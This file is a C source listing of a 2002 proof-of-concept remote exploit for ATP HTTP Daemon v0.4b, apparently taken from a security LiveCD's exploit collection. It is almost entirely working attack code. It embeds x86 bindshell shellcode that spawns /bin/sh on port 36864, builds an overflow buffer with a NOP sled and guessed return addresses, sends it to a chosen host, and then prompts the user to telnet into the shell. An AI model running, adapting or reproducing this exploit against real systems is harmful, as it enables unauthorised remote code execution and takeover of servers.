home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / atphttpd / atphttpd-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  8KB  |  305 lines
  1. /* PRPatphttpd.c
  2.  *
  3.  *    This program is free software; you can redistribute it and/or modify
  4.  *    it under the terms of the GNU General Public License as published by
  5.  *    the Free Software Foundation; either version 2 of the License, or
  6.  *    (at your option) any later version.
  7.  *
  8.  *    This program is distributed in the hope that it will be useful,
  9.  *    but WITHOUT ANY WARRANTY; without even the implied warranty of
  10.  *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  11.  *    GNU General Public License for more details.
  12.  *
  13.  *    You should have received a copy of the GNU General Public License
  14.  *    along with this program; if not, write to the Free Software
  15.  *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
  16.  *
  17.  *    -
  18.  *
  19.  *    PYR/\MID, Research Project
  20.  *    Author: thread
  21.  *    Date: 05/10/02
  22.  *    Members: Apm, flea, thread
  23.  *
  24.  *    Proof of Concept Remote Exploit for ATP HTTP Daemon v0.4b
  25.  *
  26.  *    Tested on:
  27.  *    i386 Slackware 8.0
  28.  *
  29.  */
  30.  
  31. #include <stdio.h>
  32. #include <string.h>
  33. #include <stdlib.h>
  34. #include <unistd.h>
  35. #include <errno.h>
  36. #include <netdb.h>
  37.  
  38. #include <netinet/in.h>
  39.  
  40. #include <arpa/inet.h>
  41.  
  42. #include <sys/socket.h>
  43. #include <sys/types.h>
  44. #include <sys/time.h>
  45.  
  46.  
  47. /* Constants */
  48.  
  49. #define BINDSHELL_PORT        36864
  50. #define ARCHS            1
  51.  
  52.  
  53. /* External variables */
  54.  
  55. extern int errno, h_errno; // Already declared in the headers
  56.  
  57.  
  58. /* Here is a bindshell(code) */
  59.  
  60. char bindshell[] =
  61.     "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c"
  62.     "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46"
  63.     "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89"
  64.     "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c"
  65.     "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66"
  66.     "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86"
  67.     "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f"
  68.     "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c"
  69.     "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
  70.  
  71.  
  72. struct arch {
  73.     int id;
  74.     char *arch;
  75.     long ret;
  76.     int start_byte;
  77. } arch[] = {
  78.     { 1, "ATP HTTP Daemon v0.4b/i386 Slackware 8.0", 0xbffff7ec, 600 }
  79. };
  80.  
  81.     /* Note that this return address doesn't precisly point to the start
  82.      * of buffer's string (without any environment variables except '_')!
  83.      * It points to somewhere in the first 2/4 of buffer's memory,
  84.      * depending of the memory used by environment variables.
  85.      * This is useful to make some compatibility for systems with
  86.      * different environments.
  87.      */
  88.  
  89.  
  90. /* Prototypes */
  91.  
  92. int gen_rand(int min, int max);
  93. long get_ret(long base_ret, int bytes);
  94.  
  95. int main(int argc, char **argv) {
  96.     int fd, i, arch_num, tmp;
  97.     long ret;
  98.     struct sockaddr_in host;
  99.     struct hostent *he;
  100.     char buffer[803];
  101.  
  102.  
  103.     printf( "PYR/\\MID, Research Project 02\n"
  104.         "ATP HTTP Daemon v0.4b Remote Exploit, by thread\n\n");
  105.  
  106.  
  107.     /* Checking args */
  108.  
  109.     if (argc == 2 && !strcmp(argv[1], "-h")) {
  110.         printf( "<arch>\n"
  111.             "Valid architectures:\n");
  112.         for (i = 0; i < ARCHS; i++) {
  113.             printf("\t%d - %s - 0x%lx\n",
  114.                         arch[i].id,
  115.                         arch[i].arch,
  116.                         arch[i].ret);
  117.         }
  118.         printf( "\n"
  119.             "<environment memory>\n"
  120.             "If you have no idea about remote atphttpd environment "
  121.             "you should use one of next\n"
  122.                 "options for this argument:\n"
  123.             "\n"
  124.             "\t0  - Uses a default return address that works "
  125.                 "in the most 'default'\n"
  126.                        "\t     slackware envrionments (between 520 and"
  127.                 " 675 bytes of memory)\n"
  128.             "\n"
  129.             "\t-1 - Generates a random number that will point "
  130.                 "to a valid return address\n"
  131.                        "\t     that works in a specific range of "
  132.                        "memory used by the environment\n"
  133.                 "\t     (good luck ;)\n"
  134.             "\n"
  135.             "NOTE: A high return address value means less "
  136.             "environment memory used\n\n");
  137.         return -1;
  138.     } else if (argc < 5) {
  139.         printf( "Synopsis: %s [-h] <hostname> <port> <arch> "
  140.             "<environment memory>\n"
  141.             "\n"
  142.             "-h\t\t\t- Use this flag as unique argument to "
  143.             "display a detailed\n"
  144.             "\t\t\t  help for <arch> and <environment memory> "
  145.             "arguments\n"
  146.             "\n"
  147.             "<hostname>\t\t- Remote hostname or ip address\n"
  148.             "<port>\t\t\t- Remote port\n"
  149.             "<arch>\t\t\t- Architecture\n"
  150.             "<environment memory>\t- It's the number of "
  151.             "bytes that the environment (where\n"
  152.             "\t\t\t  atphttpd runs) uses in memory.\n"
  153.             "\n", argv[0]);
  154.         return -1;
  155.     }
  156.  
  157.  
  158.     /* Calculating a new return address */
  159.  
  160.     printf("Calculating a new return address... ");
  161.     fflush(stdout);
  162.  
  163.     arch_num = atoi(argv[3]) - 1;
  164.  
  165.     ret = get_ret(arch[arch_num].ret, atoi(argv[4]));
  166.  
  167.     printf("Done: 0x%lx\n", ret);
  168.  
  169.  
  170.     /* Resolving hostname */
  171.  
  172.     printf("Resolving hostname (%s)... ", argv[1]);
  173.     fflush(stdout);
  174.  
  175.     if (!(he = gethostbyname(argv[1]))) {
  176.         fprintf(stderr, "Error: gethostbyname(): %s\n",
  177.                 hstrerror(h_errno));
  178.         return -1;
  179.     } else {
  180.         char *r_ip = (char *) &host.sin_addr.s_addr;
  181.         host.sin_addr.s_addr = *((unsigned long *) *he->h_addr_list);
  182.         printf("Resolved to: %u.%u.%u.%u\n",
  183.                     (unsigned char) r_ip[0],
  184.                     (unsigned char) r_ip[1],
  185.                     (unsigned char) r_ip[2],
  186.                     (unsigned char) r_ip[3]);
  187.     }
  188.  
  189.  
  190.     /* Setting remote port and protocol family */
  191.  
  192.     host.sin_port = htons(atoi(argv[2]));
  193.     host.sin_family = AF_INET;
  194.  
  195.  
  196.     /* Creating an end-point for comunication */
  197.  
  198.     printf("Creating an end-point for comunication... ");
  199.     fflush(stdout);
  200.  
  201.     if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) {
  202.         fprintf(stderr, "Error: socket(): %s\n", strerror(errno));
  203.         return -1;
  204.     }
  205.  
  206.     printf("Done\n");
  207.  
  208.  
  209.     /* Connecting to the remote host */
  210.  
  211.     printf("Connecting to the remote host... ");
  212.     fflush(stdout);
  213.  
  214.     if (connect(fd, (struct sockaddr *) &host,
  215.                 sizeof(struct sockaddr)) < 0) {
  216.         fprintf(stderr, "Error: connect(): %s\n", strerror(errno));
  217.         return -1;
  218.     }
  219.  
  220.     printf("Connected\n");
  221.  
  222.  
  223.     /* Crafting the string */
  224.  
  225.     memset(buffer, '\x90', sizeof(buffer));    // Fill buffer with NOPs
  226.  
  227.     /* The return address is somewhere around here.
  228.      * It changes a lot of times because
  229.      * the environment changes the buffer's place,
  230.      * so lets fill the memory's field
  231.      * where the return address is used to be:
  232.      */
  233.  
  234.     for (tmp = sizeof(buffer) - sizeof(long) - 3,
  235.             i = arch[arch_num].start_byte; i < tmp;
  236.                 i += sizeof(long))
  237.         *(long *)&buffer[i] = ret;
  238.  
  239.     memcpy((buffer + sizeof(buffer) - 1) - 3 - strlen(bindshell)
  240.                    - ((sizeof(buffer) - arch[arch_num].start_byte) + 1),
  241.             bindshell, strlen(bindshell));    /* put the code right
  242.                              * before the ret addr
  243.                              * and ignore the '\0'
  244.                              * and LF/CR chars
  245.                              */
  246.  
  247.     buffer[sizeof(buffer) - 3] = '\n';
  248.     buffer[sizeof(buffer) - 2] = '\r';
  249.     buffer[sizeof(buffer) - 1] = 0;
  250.  
  251.  
  252.     /* Now sending the crafted string to the remote host */
  253.  
  254.     printf("Sending buffer to the remote host... ");
  255.     fflush(stdout);
  256.  
  257.     if (write(fd, buffer, strlen(buffer)) < 0) {
  258.         fprintf(stderr, "Error: write(): %s\n", strerror(errno));
  259.         return -1;
  260.     }
  261.  
  262.     printf("Sent\n");
  263.  
  264.  
  265.     /* Close the file descriptor */
  266.  
  267.     printf("Closing the connection... ");
  268.     fflush(stdout);
  269.  
  270.     if (close(fd) < 0) {
  271.         fprintf(stderr, "Error: close(): %s\n", strerror(errno));
  272.         return -1;
  273.     }
  274.  
  275.     printf("Closed\n");
  276.  
  277.     printf("\nNow try: telnet %s %d\n", argv[1], BINDSHELL_PORT);
  278.  
  279.     return 0;
  280. }
  281.  
  282. int gen_rand(int min, int max) {
  283.     struct timeval tv;
  284.     gettimeofday(&tv, NULL);
  285.     srand(tv.tv_usec);
  286.     return (min + (rand() % (max / 2)));
  287. }
  288.  
  289. long get_ret(long base_ret, int bytes) {
  290.     if (!bytes)
  291.         return 0xbffff4ec;
  292.     if (bytes < 0)
  293.         return get_ret(base_ret, gen_rand(5, 1500));
  294.  
  295.     return ((base_ret - bytes) - ((bytes >> 8) << 3));
  296.                 /*   ^^^^^^^^^^^^^^^^^^^    */
  297.                 /* This will try to reduce the    */
  298.                 /* error tax of the result    */
  299.  
  300.     /* Note that this isn't an exact calculation! This will return
  301.      * a value that should point to somewhere in the first 2/4 of
  302.      * buffer's memory. This should work for 90% of the cases.
  303.      */
  304. }
  305.